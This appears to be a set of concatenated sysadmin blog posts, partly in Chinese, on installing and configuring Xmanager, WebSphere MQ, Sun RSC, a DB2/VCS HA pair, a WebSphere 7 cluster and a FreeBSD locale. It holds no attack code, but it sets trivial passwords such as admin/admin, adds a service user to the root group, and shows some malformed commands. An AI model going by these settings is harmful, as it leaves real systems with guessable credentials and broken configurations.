： 使用 Xmanager 连接远程 Solaris

环境 ： 管理PC 1 ： 公司局域网 通过 防火墙或路由器 连接至 Internet

Server ：(Solaris8\9\10) 直接处于 Internet

通过 Pc1 使用 xmanager 远程管理 Solaris Server

（注：如果你的管理PC 直接就是公网ＩＰ地址就没有必要实验本方案，只需配置你的个人防火墙打开６０００端口给Ｓｅｒｖｅｒ就可以）

1:　安装Xmanager2

Xmanager V2.0 build 0704

http://www.skycn.com/soft/1138.html

2: Solaris 系统默认启动DXCMP，不需要配置 ，只需检查进程是否启动即可 ps -ef|grep dtlogin root 521 [...]]]>

： 使用 Xmanager 连接远程 Solaris

环境 ：
管理PC 1 ： 公司局域网 通过 防火墙或路由器 连接至 Internet

Server ：(Solaris8\9\10) 直接处于 Internet

通过 Pc1 使用 xmanager 远程管理 Solaris Server

（注：如果你的管理PC 直接就是公网ＩＰ地址就没有必要实验本方案，只需配置你的个人防火墙打开６０００端口给Ｓｅｒｖｅｒ就可以）

1:　安装Xmanager2

Xmanager V2.0 build 0704

http://www.skycn.com/soft/1138.html

2: Solaris 系统默认启动DXCMP，不需要配置 ，只需检查进程是否启动即可
ps -ef|grep dtlogin

root 521 1 0 3ÔÂ 30 ? 0:00 /usr/dt/bin/dtlogin -daemon
root 616 521 0 3ÔÂ 30 ? 0:00 /usr/dt/bin/dtlogin -daemon
root 26766 24105 0 15:19:47 pts/3 0:00 grep dtlogin

如果没有启动 delogin start

3：配置管理PC1 局域网出口的防火墙或路由器

比如 管理PC1 的内网IP 172.16.0.111 局域网出口IP 111.111.111.111

配置 NAT
将出口IP：111.111.111.111 的 6001 端口 NAT 至 内网　管理PC1的6000端口

4: 在Xmanager 打开 Xbrowser
新建 New Xmanager Session
修改 属性
xdmcp Conection Method : XDM Query

xdmcp Host: Solaris Server IP

xdmcp Port:177

xdmcp Local Address: Auto Select

Proxy 选中 Use Following Connection address

Proxy Host ： 防火墙中NAT 的OutSide IP(111.111.111.111)

Proxy Port：6001

5: 如果你的Solaris Server 安装中文字体，请使用 Xmanager的中文字体补丁

Xmanager 中文字体

http://www.netsarang.com/download/main.html#fonts

6: 1-5 全部操作后，就可通过 刚刚建立的New Xmanager Session连接你的Solaris Server的桌面

To install MQ on RedHat Linux please note following: 1. Create group/user need from Control Center a) Log in as root. Create MQ groups and users from the yast2 Control Center. 1. [...]]]> To install MQ on RedHat Linux please note following:
1. Create group/user need from Control Center
a) Log in as root. Create MQ groups and users from the yast2 Control Center.
1. Log in as root. Create MQ groups and users from the yast2 Control Center.
a. Create the mqm and mqbrkrs user groups:
1) Click Security & Users > Groups > Add a Group.
2) Set the name field to mqm and create the user group.
3) Create the mqbrkrs user group in the same way.

b. Create the mqm user:
1) Click Security & Users > Users > Add a User.
2) Set the name field to mqm and create the user.
3) Click Security & Users > Change a Users Password > Passwords to add a password to the new user

c.Add the mqm and root users to the mqm group:
1) Click Security &Users > Users > Change / Show Characteristics of a User.
2) Enter mqm in the User Name field. 50 IBM WebSphere Application Server: Getting Started
3) Add mqm to the Group SET field, which is a comma-separated list of the groups to which the user belongs.
4) Add root to the mqm group and the mqbrkrs group.
Or Use Script:
linux:~ # groupadd mqm
linux:~ # groupadd mqbrkrs
linux:~ # useradd -g mqm -G mqbrkrs -m mqm
linux:~ # usermod -G mqm root
Adding user root to group mqm
linux:~ # gpasswd -a root mqbrkrs
Adding user root to group mqbrkrs
linux:~ # passwd mqm
Changing password for mqm.
New password:
Re-enter new password:
Password changed

linux:~ #
b) Copy&mount CD17 to your target linux.Go to folder: CD17\WSMQ5302_LINUX\MQ5302
c) Run the mqlicense.sh script. If you want to view a text-only version of license, which can be read by a screen-reader, type:
./mqlicense.sh -text_only
The license is displayed.
If want to accept the license without it being displayed, you can run the mqlicense.sh script with the -accept option.
./mqlicense.sh -accept
You must accept the license agreement before you can proceed with the installation.

NOTE: If you see below error message ->
Problem
You install WebSphere- MQ v5.3 on Linux-. You run the “./mqlicense.sh -accept” command to accept the license and receive the following error:
./mqlicense.sh: line 131: 18670 Segmentation fault
${JRE?} -cp
${LAPCLASSPATH?} com.ibm.lex.lapapp.LAP -l
${PROGPATH?}/lap/licenses -s /tmp/mq_license
${STATUSARG}
${DISPLAYARG}
ERROR: Installation will not succeed unless the license agreement can be accepted. If the error was caused by a display problem, read the license agreement file in the ‘License’ directory, and then run the following command:
mqlicense.sh -accept
Only use this command if you accept the license agreement. For other errors, contact your IBM support center.

You need to run below steps firstly ->
#1. Read the license agreement in the License directory
#2. export LD_ASSUME_KERNEL=2.4.19
#3. mkdir -p /tmp/mq_license/license
#4. echo 9 > /tmp/mq_license/license/status.dat
or
touch /tmp/mq_license/license/status.dat
d) There the following rpm files: (You can only install the rpms in blue)
MQSeriesRuntime-5.3.0-2.i386.rpm
MQSeriesSDK-5.3.0-2.i386.rpm
MQSeriesServer-5.3.0-2.i386.rpm
MQSeriesJava-5.3.0-2.i386.rpm
MQSeriesMan-5.3.0-2.i386.rpm
MQSeriesSamples-5.3.0-2.i386.rpm
MQSeriesClient-5.3.0-2.i386.rpm
MQSeriseIES30…..rpm
MQSeriseConfig….rpm (If you want to use MQ explorer on Linux, install these two RPM)

MQSeriesKeyMan-5.3.0-2.i386.rpm
MQSeriesMsg_Zh_CN-5.3.0-2.i386.rpm
MQSeriesMsg_Zh_TW-5.3.0-2.i386.rpm
MQSeriesMsg_de-5.3.0-2.i386.rpm
MQSeriesMsg_es-5.3.0-2.i386.rpm
MQSeriesMsg_fr-5.3.0-2.i386.rpm
MQSeriesMsg_it-5.3.0-2.i386.rpm
MQSeriesMsg_ja-5.3.0-2.i386.rpm
MQSeriesMsg_ko-5.3.0-2.i386.rpm
MQSeriesMsg_pt-5.3.0-2.i386.rpm
gsk6bas-6.0-3.33.i386.rpm

by command: rpm -ivh ***.rpm
e) Go to folder:\WSMQ5302_LINUX\MQ_CSD08
f) There the following rpm files: (You can only install the rpms in blue)
MQSeriesRuntime-U497537-5.3.0-8.i386.rpm
MQSeriesSDK-U497537-5.3.0-8.i386.rpm
MQSeriesServer-U497537-5.3.0-8.i386.rpm
MQSeriesJava-U497537-5.3.0-8.i386.rpm
MQSeriesMan-U497537-5.3.0-8.i386.rpm
MQSeriesClient-U497537-5.3.0-8.i386.rpm
MQSeriesSamples-U497537-5.3.0-8.i386.rpm
MQSeriseConfig….rpm
MQSeriseIES30…..rpm (If you want to use MQ explorer on Linux, install these two RPM)

MQSeriesKeyMan-U497537-5.3.0-8.i386.rpm
MQSeriesTXClient-U497537-5.3.0-8.i386.rpm
MQSeriesFTA-U497537-5.3.0-8.i386.rpm
gsk6bas-6.0-5.41.i386.rpm
g) Uninstall MQSeries
In the MQSeries for Linux Quick Beginnings Book, it describes to uninstall all of the MQSeries files at once
using the command:
rpm -q -a | grep “MQSeries” | xargs rpm -e
however, if a Queue Manager is running when you issue this command then only part of MQSeries will be uninstalled.
From that point onwards you will be unable to stop any remaining Q-Managers or uninstall the remaining components.
YOU MUST ENSURE THAT YOU STOP ALL RUNNING QUEUE MANAGERS BEFORE ATTEMPTING TO USE THIS COMMAND(stop WAS).
If you do run this command, while a queue manager is running, then you will need to either reboot your machine or
re-install the removed parts of MQSeries to allow you to stop the Queue Manager before you can fully complete the uninstallation.
NOTE:
There may some errors in the uninstall processing when you installed MQSeries patches, you can use command ‘
rpm -q -a | grep “MQSeries”‘ to check which rpm pack still in the system and use command ‘rpm -e ‘ to uninstall them from high level to low.
If install fail, use rpm -ivh xxx.rpm –replacefiles to install again

二、WAS原始安装文件所在目录 /bak/mqm_install

三、mqm安装后，默认程序是安装在/OPT/mqm下，数据安装在var/mqm目录下 四、安装过程如下： 　　（1）SUN下 a.用ROOT用户登录后，创建用户组与用户mqm,口令是mqm,mqm用户加入root用户组 groupadd mqm useradd -G mqm,root -d /opt/mqm -s -m /bin/bash mqm passwd mqm -input mqm,mqm b.在mqm目录下建立目录mqm_ins , 用ftp工具把安装文件包tar文件放入其中，然后解包 [...]]]> 一、安装过程
1、某天下午对SUN的1个服务器v490进行安装
2、安装完成后用MQM的自测命令检查，确认OK

二、WAS原始安装文件所在目录
/bak/mqm_install

三、mqm安装后，默认程序是安装在/OPT/mqm下，数据安装在var/mqm目录下
四、安装过程如下：
　　（1）SUN下
a.用ROOT用户登录后，创建用户组与用户mqm,口令是mqm,mqm用户加入root用户组
groupadd mqm
useradd -G mqm,root -d /opt/mqm -s -m /bin/bash mqm
passwd mqm
-input mqm,mqm
b.在mqm目录下建立目录mqm_ins , 用ftp工具把安装文件包tar文件放入其中，然后解包
mkdir mqm_ins
cd mqm_ins
—ftp tar file
tar xvf *
c.回到mqm目录，修改profile文件参数
cd ..
vi .profile
把整理好的profile参数放入其中…文件为”profile-待放入系统配置”
d.去到/etc/目录下，修改system文件，按用户要求修改内核参数，参考文件“etc-system-待放入系统配置”
　　　　放入后保存。
　　 e.回到mqm_ins目录下执行安装
先执行认证
./mqlicense.sh，输入1接受协议，然后回车继续安装
提示完成后，再执行
pkgadd -d .
　执行安装过程，每一步按默认参数选择ALL或回车，安装所有组件包，最后提示MQM安装完成。

五、验证安装
1、mqm用户登录
创建队列venus.queue.manager
crtmqm -q venus.queue.manager
启动队列管理器
　　　 strmqm
启用MQSC命令
runmqsc
进入环境后，定义名为ORANGE.QUEUE的本地队列
define qlocal (orange.queue)
end (停止MQSC)

　　　　现在，已定义下列各项：名为venus.queue.manager的缺省队列管理器，名为ORANGE.QUEUE的队列

转到/opt/mqm/samp/bin目录下，使用amqsput样本程序来将消息放入队列，以且使用amqsget样本程序来从队列取回消息
dspmq 命令可显示MQM队列状态
./amqsput ORANGE.QUEUE
输入一行文字，然后以空行结束，退出
　　　　./amqsget ORANGE.QUEUE
可显示刚才放入队列的消息，成功提示即证明完成。

的配置软件不是系统默认安装的，首先要在服务器上安装rsc的软件包Sun Remote System Control (RSC) 2.2.3 Software，可以在sun的补丁光盘里面找到

，位于光盘的目录：sun/progs/RSC/2.2.3中。该软件包也可以从sun的网站上下载，如下是参考链接地址：

http://www.sun.com/servers/rsc.html

在solaris 8上软件包是rsc2.2.3_packages_s8.zip，solaris 9和solaris 10使用同样的软件包是rsc2.2.3_packages_s8.zip

该软件安装步骤如下：

先准备软件包，然后解压缩，

# unzip rsc2.2.3_packages_s8.zip

解压缩后出现很多的软件包，如下：

README SUNWfrscd SUNWkrscd

README-RSC SUNWfrscj SUNWkrscj

SUNWcrsc SUNWhrsc SUNWrsc

SUNWcrscd SUNWhrscd SUNWrscd

SUNWcrscj SUNWhrscj SUNWrscj

SUNWdersc SUNWirscd SUNWsrscd SUNWdrscd SUNWirscj SUNWsrscj

SUNWdrscj SUNWitrsc SUNWsvrsc

SUNWerscd SUNWjersc en_us_relnotes.pdf

SUNWerscj SUNWjrscd rsc2.2.3_packages_s8.zip

SUNWesrsc SUNWjrscj rsc2.2.3_packages_s9.zip

SUNWfrrsc SUNWkrsc软件包中是针对不同语言环境不同的软件包，英文的软件包是必须安装的，中文的软件包是 SUNWcrsc SUNWcrscd SUNWcrscj

英文的软件包是： SUNWrsc SUNWrscd SUNWrscj

除了中文和英文的软件包外把多余的软件包删除掉，剩下如下软件包：

README SUNWcrscj en_us_relnotes.pdf

README-RSC SUNWrsc rsc2.2.3_packages_s8.zip SUNWcrsc SUNWrscd rsc2.2.3_packages_s9.zip

SUNWcrscd SUNWrscj

然后安装这些软件包。

# pkgadd [...]]]> 与V240不同的是，Sun Fire™ V480, V880, V490, and V890 SC使用的不是ALOM而是RSC，RSC的配置可以在正常状态#下完成，并不需要借助console口！rsc

的配置软件不是系统默认安装的，首先要在服务器上安装rsc的软件包Sun Remote System Control (RSC) 2.2.3 Software，可以在sun的补丁光盘里面找到

，位于光盘的目录：sun/progs/RSC/2.2.3中。该软件包也可以从sun的网站上下载，如下是参考链接地址：

http://www.sun.com/servers/rsc.html

在solaris 8上软件包是rsc2.2.3_packages_s8.zip，solaris 9和solaris 10使用同样的软件包是rsc2.2.3_packages_s8.zip

该软件安装步骤如下：

先准备软件包，然后解压缩，

# unzip rsc2.2.3_packages_s8.zip

解压缩后出现很多的软件包，如下：

README SUNWfrscd SUNWkrscd

README-RSC SUNWfrscj SUNWkrscj

SUNWcrsc SUNWhrsc SUNWrsc

SUNWcrscd SUNWhrscd SUNWrscd

SUNWcrscj SUNWhrscj SUNWrscj

SUNWdersc SUNWirscd SUNWsrscd

SUNWdrscd SUNWirscj SUNWsrscj

SUNWdrscj SUNWitrsc SUNWsvrsc

SUNWerscd SUNWjersc en_us_relnotes.pdf

SUNWerscj SUNWjrscd rsc2.2.3_packages_s8.zip

SUNWesrsc SUNWjrscj rsc2.2.3_packages_s9.zip

SUNWfrrsc SUNWkrsc软件包中是针对不同语言环境不同的软件包，英文的软件包是必须安装的，中文的软件包是
SUNWcrsc SUNWcrscd SUNWcrscj

英文的软件包是：
SUNWrsc SUNWrscd SUNWrscj

除了中文和英文的软件包外把多余的软件包删除掉，剩下如下软件包：

README SUNWcrscj en_us_relnotes.pdf

README-RSC SUNWrsc rsc2.2.3_packages_s8.zip

SUNWcrsc SUNWrscd rsc2.2.3_packages_s9.zip

SUNWcrscd SUNWrscj

然后安装这些软件包。

# pkgadd -d .

安装完之后，会在/usr/platform/`uname -i`/ 路径下生成rsc目录

# cd /usr/platform/`uname -i`/rsc

# ./ rsc-initscript

# ./rsc-config

Continue with RSC setup (y|n): y

Set RSC date/time now (y|n|?) [y]:
Server Hostname [SUN280R]:
Edit customer info field (y|n|?) [n]:
Enable RSC Ethernet Interface (y|n|s|?) [n]: y
RSC IP Mode (config|dhcp|?) [dhcp]: n
RSC IP Mode (config|dhcp|?) [dhcp]: config
RSC IP Address []: 192.168.81.12
RSC IP Netmask [255.255.255.0]:
RSC IP Gateway []: 192.168.81.254
Enable RSC Alerts (y|n|s|?) [n]:
Enable RSC Modem Interface (y|n|s|?) [n]:
Enable RSC Serial Port Interface (y|n|s|?) [n]:
Setup RSC User Account (y|n|?) [y]:
Username []: admin
User Permissions (c,u,a,r|none|?) [cuar]:

Verifying Selections

General Setup

Set RSC date now = y
Server Hostname = PMDB01

Set Customer Info = n

Is this correct (y|n): y
Ethernet Setup

IP Mode = config
IP Address = 192.168.81.12
IP Netmask = 255.255.255.0
IP Gateway = 192.168.81.254

Is this correct (y|n): y

Alert Setup
Alerts disabled

Is this correct (y|n): y

Modem Setup
———–
Modem disabled, ppp disabled

Is this correct (y|n): y

Serial Port Setup
Serial port disabled
Is this correct (y|n): y

User Setup
User Name = neusoft
User Permissions = cuar
Is this correct (y|n): y

This script will now update RSC, continue? (y|n): y
Updating flash, this takes a few minutes
……………………………………………..
………………………………………………
…………………………………
Download completed successfully

Resetting RSC (takes about 90 seconds):
DONE
Setting up server to update RSC date on boot: DONE
Setting up server hostname: DONE
Setting up ethernet interface: DONE
Disabling RSC alert engine: DONE
Disabling modem interface: DONE
Disabling serial port interface: DONE
Adding user to RSC:
rscadm: user already exists
when this script completes,
use the rscadm command to correct the error.
Resetting RSC (takes about 90 seconds):
Are you sure you want to reboot RSC (y/n)? y

DONE
Setting up RSC date: DONE

*******************************
RSC has been successfully setup

至此，配置完毕，可以使用telnet连接RSC

与V240类似，系统也提供了rscadm命令用于在正常状态下管理配置rsc!

　　本文档介绍在SuSE Linux Enterprise Server v8.0(SLES 8)上安装配置DB2 UDB Enterprise Serverv8.2双机互备的高可靠性方案的基本步骤。该方案配合采用SLES的卷管理器(LVM)和Veritas Cluster Server v2.2(VCS 2.2)作为HA实现组件。

2. 概述

　本文档假定读者已经理解双机互备的HA方案的基本概念。

2.1. 双机互备HA方案的基本步骤

　　建立一个双机互备方案的基本步骤是： 1. 确定基本参数(如IP地址、存储空间，等等。本方案的参数均为示范参数，读者需要根据实际环境替换) 2. 配置共享存储(本方案不涉及共享存储方案的配置) 3. 在两台节点上分别安装应用(在本方案中是DB2 UDB) 4. 在一台节点上对应用作初始配置(在本方案中是在共享存储上建立DB2数据库) 5. 在另一台节点上引入共享存储上的配置(在本方案中是对共享存储上的数据库做catalog操作) 6. 在两台节点上分别手动测试应用 7. 配置HA Cluster管理软件(在本方案中是VCS) 8. 测试HA Cluster管理软件可以成功接管资源

2.2. 假设

　　本文档假定采用以下示例环境，SLES与VCS已在节点上正确安装，SLES的共享存储已经正确连接，VCS的心跳连接已经正确配置。 2.2.1. 存储

　　各节点上需要足够的本地磁盘空间，来安装DB2 UDB的可执行代码及实例。

　　本方案需要足够的共享存储空间，来放置数据库数据。

　　假定共享存储上分配给DB2数据库的卷组名为/dev/datavg1，逻辑卷名为/dev/datavg1/db2lv1(使用SLES的LVM服务)，在两个节点上的挂接点名为/home/db2data，且已正确格式化为合适的文件系统(Veritas工程师指出在SLES 8上VCS 2.2不支持ext3文件系统，建议格式化时指定ext2，在SLES 9和VCS 4.1上不存在这个问题)。注意这个挂接点要在fstab文件中配置为启动时不自动挂接。

　　数据库其他表空间可以建立在共享存储的其他卷上，如果是文件系统，同样要配置为不自动挂接。本文档暂不讨论。

2.2.2. 节点

　　本HA方案采用两个服务器节点做主从互备，以下分别称为Active节点和Passive节点。这两个节点具有相同的硬件和操作系统配置。

2.2.3. 网络

　　对外的IP网络。假定该方案中DB2 UDB对外提供服务使用的浮动IP(Floating IP)为192.168.10.110，Active节点的物理IP为192.168.10.11，Passive节点的物理IP为192.168.10.12。

　HA管理软件需要一组内部IP来管理双机间的心跳连接。心跳IP不在本文档范围内。

3. 配置步骤 [...]]]> 1. 摘要

　　本文档介绍在SuSE Linux Enterprise Server v8.0(SLES 8)上安装配置DB2 UDB Enterprise Serverv8.2双机互备的高可靠性方案的基本步骤。该方案配合采用SLES的卷管理器(LVM)和Veritas Cluster Server v2.2(VCS 2.2)作为HA实现组件。

2. 概述

　本文档假定读者已经理解双机互备的HA方案的基本概念。

2.1. 双机互备HA方案的基本步骤

　　建立一个双机互备方案的基本步骤是：
1. 确定基本参数(如IP地址、存储空间，等等。本方案的参数均为示范参数，读者需要根据实际环境替换)
2. 配置共享存储(本方案不涉及共享存储方案的配置)
3. 在两台节点上分别安装应用(在本方案中是DB2 UDB)
4. 在一台节点上对应用作初始配置(在本方案中是在共享存储上建立DB2数据库)
5. 在另一台节点上引入共享存储上的配置(在本方案中是对共享存储上的数据库做catalog操作)
6. 在两台节点上分别手动测试应用
7. 配置HA Cluster管理软件(在本方案中是VCS)
8. 测试HA Cluster管理软件可以成功接管资源

2.2. 假设

　　本文档假定采用以下示例环境，SLES与VCS已在节点上正确安装，SLES的共享存储已经正确连接，VCS的心跳连接已经正确配置。

2.2.1. 存储

　　各节点上需要足够的本地磁盘空间，来安装DB2 UDB的可执行代码及实例。

　　本方案需要足够的共享存储空间，来放置数据库数据。

　　假定共享存储上分配给DB2数据库的卷组名为/dev/datavg1，逻辑卷名为/dev/datavg1/db2lv1(使用SLES的LVM服务)，在两个节点上的挂接点名为/home/db2data，且已正确格式化为合适的文件系统(Veritas工程师指出在SLES 8上VCS 2.2不支持ext3文件系统，建议格式化时指定ext2，在SLES 9和VCS 4.1上不存在这个问题)。注意这个挂接点要在fstab文件中配置为启动时不自动挂接。

　　数据库其他表空间可以建立在共享存储的其他卷上，如果是文件系统，同样要配置为不自动挂接。本文档暂不讨论。

2.2.2. 节点

　　本HA方案采用两个服务器节点做主从互备，以下分别称为Active节点和Passive节点。这两个节点具有相同的硬件和操作系统配置。

2.2.3. 网络

　　对外的IP网络。假定该方案中DB2 UDB对外提供服务使用的浮动IP(Floating IP)为192.168.10.110，Active节点的物理IP为192.168.10.11，Passive节点的物理IP为192.168.10.12。

　HA管理软件需要一组内部IP来管理双机间的心跳连接。心跳IP不在本文档范围内。

3. 配置步骤

3.1. DB2 UDB安装、配置步骤

3.1.1. 建立用户和组

　　在两台节点上分别在root下执行以下命令:
　　groupadd –g 900 db2iadm1
　　groupadd –g 901 db2fadm1
　　groupadd –g 902 dasadm1
　　useradd –g db2iadm1 –u 800 –d /home/db2inst1 –s /bin/bash db2inst1
　　useradd –g db2fadm1 –u 801 –d /home/db2fenc1 –s /bin/bash db2fenc1
　　useradd –g dasadm1 –u 802 –d /home/dasusr1 –s /bin/bash dasusr1
　　组ID和用户ID可以根据实际情况选择，但务必保证在两台节点上相同的用户名/组名具有相同的ID。

3.1.2. 安装DB2 UDB产品代码
　　在两台节点上分别在root用户下执行以下命令:
　　cd
　　./db2install –p DB2.ESE
　　cd /opt/IBM/db2/V8.1/adm
　　./db2licm –a /db2/license/db2ese.lic

　　其中，是DB2 UDB ESE安装介质所在目录。

3.1.3. 建立实例

　　在两台节点上分别在root用户下执行以下命令:

　　cd /opt/IBM/db2/V8.1/instance

　　./db2icrt –p 50000 –u db2fenc1 db2inst1

3.1.4. 建立DAS

　　在两台节点上分别在root用户下执行以下命令:

　　cd /opt/IBM/db2/V8.1/instance

　　./dascrt –u dasusr1

3.1.5. 建立数据库

　　在Active节点上在root用户下执行以下命令:
　　mount /dev/datavg1/db2lv1 /home/db2data
　　su – db2inst1
　　db2start
　　db2 create database on /home/db2data
　　db2stop
　　exit
　　umount /home/db2data
　　其中，是数据库名。

3.1.6. Catalog数据库
　　在Passive节点上在root用户下执行以下命令:
　　mount /dev/datavg1/db2lv1 /home/db2data
　　su – db2inst1
　　db2start
　　db2 catalog database on /home/db2data
　　db2stop
　　exit
　　umount /home/db2data
　其中，是上一步骤建立的数据库名

3.1.7. 检验DB2配置
　　在Active节点上，在root用户下执行以下命令:
　　mount /dev/datavg1/db2lv1 /home/db2data
　　su – db2inst1
　　db2start
　　db2 connect to
　　db2 create table T (ID INTEGER)
　db2 connect reset
　db2stop
　　exit
　umount /home/db2data
　　检验上述命令均无出错信息。

　　在Passive节点上，在root用户下执行以下命令:
　　mount /dev/datavg1/db2lv1 /home/db2data
　　su – db2inst1
　　db2start
　　db2 connect to
　　db2 drop table T
　　db2 connect reset
　　db2stop
　　exit
　　umount /home/db2data
　　检验上述命令均无出错信息。

3.2. VCS配置
　在VCS中，建立DB2资源组，在组中配置浮动IP、Application等资源，将Application的启动、停止等命令脚本配置为db2start、db2stop、db2admin start和db2admin stop，将Application的监视命令脚本配置为ps命令，监视db2sysc和db2dasrrm进程。

2、本机地址通过DHCP 获取从兴内部IP。 3、并请求从兴刘工协助完成ftp 文件上传到目标机上

4、连接方式，就是通过手提电脑连入一台WINDOWS2003，然后通过这台WINDOWS2003上的xmanager连入到目标机中。

5、其他要求： 管理用户名与口令设置：admin/admin(样本samples的口令也是admin，在S1QDJZYY有装samlpes，在S2QDJZYY没有装这个样本包)

主机首先用图形化安装，得到dmgr01,appsrv01 文件，备机也用图形化安装，得到apparv01 ,然后主机与备机都通过字符脚本形式，建多一个appsrv02 profileName。 安装目录放在 /usr/IBM目录下。

三、安装前其他事项检查 1、Df 命令看空间，/install下空间足够 2、hostname主机名检查，主机名没有下划线，正常 3、系统补丁检查 uname 看操作系统与版本，正常 4、集群内的主、备两机要互相PING通，在HOSTS文件中要互相加主机IP与HOSTNAME 在每台机的HOSTS文件中增加对方的IP地址与名称，来建集群时用 此步是把备机上的server1节点加入主机的dmgr01上成功的前提 5、 群集安装时，确认所有机子的日期要一致,要同步

四、WAS安装过程 1、安装与节点设置 在目标机的终端格式直接操作，在aix中执行安装 注意：安装目录注意修改默认opt为指定目录/usr/

Was/install.sh执行，在 S1QDJZYY下选择cell单元（dmgr+application，并自动联合，）安装，在S2QDJZYY下选择application安装。

两机各自完成后，在S1QDJZYY下，在profiles/dmgr01/bin下执行 ./startManager.sh启动服务 然后到/profiles/appsvr01/bin下执行./startNode.sh启动节点代理 然后可到/profiles/appsvr01/bin下执行./startSever.sh server1启动服务

在S2QDJZYY下，在profiles/appsvr01/bin下执行 ./addNode.sh xxx.xxx.xxx.xxx 8879 输入用户与口令admin,admin 看节点联结完成后，再执行./startNode.sh启动节点代理。 执行./startServer.sh server1可启动服务

此时打开控制台 http:// xxx.xxx.xxx.xxx :9060/ibm/console，输入admin/admin后，打开环境->节点管理，可看到两个受控节点；打开application server可看到两个服务server1，并且状态是已启动状态。

2、集群建立 去application server下删除两个独立的SERVER1。然后到cluster中建立一个新的集群gdjzcluster。 然后在NODE1、NODE2下分别建立server1。加入集群。

3、去节点管理那里做下同步节点 4、启动集群，可以看到成功启动即可。

五、安装HTTP与PLUGINS 停止上面启动的集群，安装http server与plugins 安装http server时，注意用户与组那里设成nobody,管理用户与口令设成admin 其他步骤按提示进行。 安装目录注意修改默认opt为指定目录usr

安装后，可在http server/bin目录下执行./apachectl start与/adminctl start启动apach服务与管理。看logs下的admin_err.log，提示成功即可。

六、安装appsrv02 ，在S1QDJZYY 与S2QDJZYY用字符脚本建立appsrv02 在S1QDJZYY下： cd /usr/IBM/WebSphere/AppServer/bin [...]]]> 硬件平台：p759
操作系统：aix 5.3
本次要安装：WAS 7，
一、 安装前介质准备
以上三类文件分别放在两台机的/tmp/was_install目录下，子目录分别为WAS,,IHS,plugin ,然后解压。
Guzip *.gz
Tar xvf *.tar
准备安装
二、安装要求：
1、两台机，做成集群，S1QDJZYY做管理控制台，S2QDJZYY做受控节点
拓朴如下：
主机名 IP 安装软件（组件）
S1QDJZYY xxx.xxx.xxx.xxx主 WASND ( WAS，DM) +httpserver+plugin
S2QDJZYY xxx.xxx.xxx.xxx备 WASND( WAS) + httpserver+plugin

2、本机地址通过DHCP 获取从兴内部IP。
3、并请求从兴刘工协助完成ftp 文件上传到目标机上

4、连接方式，就是通过手提电脑连入一台WINDOWS2003，然后通过这台WINDOWS2003上的xmanager连入到目标机中。

5、其他要求：
管理用户名与口令设置：admin/admin(样本samples的口令也是admin，在S1QDJZYY有装samlpes，在S2QDJZYY没有装这个样本包)

主机首先用图形化安装，得到dmgr01,appsrv01 文件，备机也用图形化安装，得到apparv01 ,然后主机与备机都通过字符脚本形式，建多一个appsrv02 profileName。
安装目录放在 /usr/IBM目录下。

三、安装前其他事项检查
1、Df 命令看空间，/install下空间足够
2、hostname主机名检查，主机名没有下划线，正常
3、系统补丁检查 uname 看操作系统与版本，正常
4、集群内的主、备两机要互相PING通，在HOSTS文件中要互相加主机IP与HOSTNAME
在每台机的HOSTS文件中增加对方的IP地址与名称，来建集群时用
此步是把备机上的server1节点加入主机的dmgr01上成功的前提
5、 群集安装时，确认所有机子的日期要一致,要同步

四、WAS安装过程
1、安装与节点设置
在目标机的终端格式直接操作，在aix中执行安装
注意：安装目录注意修改默认opt为指定目录/usr/

Was/install.sh执行，在 S1QDJZYY下选择cell单元（dmgr+application，并自动联合，）安装，在S2QDJZYY下选择application安装。

两机各自完成后，在S1QDJZYY下，在profiles/dmgr01/bin下执行
./startManager.sh启动服务
然后到/profiles/appsvr01/bin下执行./startNode.sh启动节点代理
然后可到/profiles/appsvr01/bin下执行./startSever.sh server1启动服务

在S2QDJZYY下，在profiles/appsvr01/bin下执行
./addNode.sh xxx.xxx.xxx.xxx 8879
输入用户与口令admin,admin
看节点联结完成后，再执行./startNode.sh启动节点代理。
执行./startServer.sh server1可启动服务

此时打开控制台 http:// xxx.xxx.xxx.xxx :9060/ibm/console，输入admin/admin后，打开环境->节点管理，可看到两个受控节点；打开application server可看到两个服务server1，并且状态是已启动状态。

2、集群建立
去application server下删除两个独立的SERVER1。然后到cluster中建立一个新的集群gdjzcluster。
然后在NODE1、NODE2下分别建立server1。加入集群。

3、去节点管理那里做下同步节点
4、启动集群，可以看到成功启动即可。

五、安装HTTP与PLUGINS
停止上面启动的集群，安装http server与plugins
安装http server时，注意用户与组那里设成nobody,管理用户与口令设成admin
其他步骤按提示进行。
安装目录注意修改默认opt为指定目录usr

安装后，可在http server/bin目录下执行./apachectl start与/adminctl start启动apach服务与管理。看logs下的admin_err.log，提示成功即可。

六、安装appsrv02 ，在S1QDJZYY 与S2QDJZYY用字符脚本建立appsrv02
在S1QDJZYY下：
cd /usr/IBM/WebSphere/AppServer/bin
./manageprofiles.sh -create -profileName AppSrv02
-profilePath /usr/IBM/WebSphere/AppServer/profiles/AppSrv02
-templatePath /usr/IBM/WebSphere/AppServer/profileTemplates/default
-hostName S1QDJZYY -enableAdminSecurity true
-adminUserName admin -adminPassword admin -samplesPassword admin
在S2QDJZYY下：
cd /usr/IBM/WebSphere/AppServer/bin
./manageprofiles.sh -create -profileName AppSrv02
-profilePath /usr/IBM/WebSphere/AppServer/profiles/AppSrv02
-templatePath /usr/IBM/WebSphere/AppServer/profileTemplates/default
-hostName S2QDJZYY -enableAdminSecurity true
-adminUserName admin -adminPassword admin -samplesPassword admin

七、将appsrv02 加入dmg01。
在S1QDJZYY下：
cd /usr/IBM/WebSphere/AppServer/appsrv02/bin
./addNode.sh localhost 8879
输入 admin admin
在S2QDJZYY下：
cd /usr/IBM/WebSphere/AppServer/appsrv02/bin
./addNode.sh xxx.xxx.xxx.xxx 8879
输入admin admin

八、现在在后台应该可以看到新增加两个节点。然后针对这两个节点做应用一机的server2 与应用二机的server2的集群 .应用一机的server3与应用二机的server3的的集群，建立的过程与建立server1的集群的步骤一样。这里就不详述。

完成！

上面三个要事觉得慢，可以在三个终端中同步进行。

二、中文环境安装设置

1.安装字体 CODE: cd /usr/local/lib/X11/fonts/TTF fetch http://雅黑字体存放路径/msyh.ttf mkfontdir mkfontscale fc-cache -fv

2.设置csh为中文环境 CODE: echo “setenv PACKAGEROOT ftp://ftp.freebsdchina.org” ~/.cshrc echo “setenv LANG zh_CN.UTF-8″ ~/.cshrc echo “setenv LC_CTYPE zh_CN.UTF-8″ ~/.cshrc echo “setenv LC_ALL zh_CN.UTF-8″ ~/.cshrc echo “setenv XMODIFIERS @im=fcitx” ~/.cshrc 3.设置 CODE: echo “/usr/local/bin/gnome-session” > ~/.xinitrc echo “exec fcitx &” ~/.xinitrc

三、显卡驱动安装

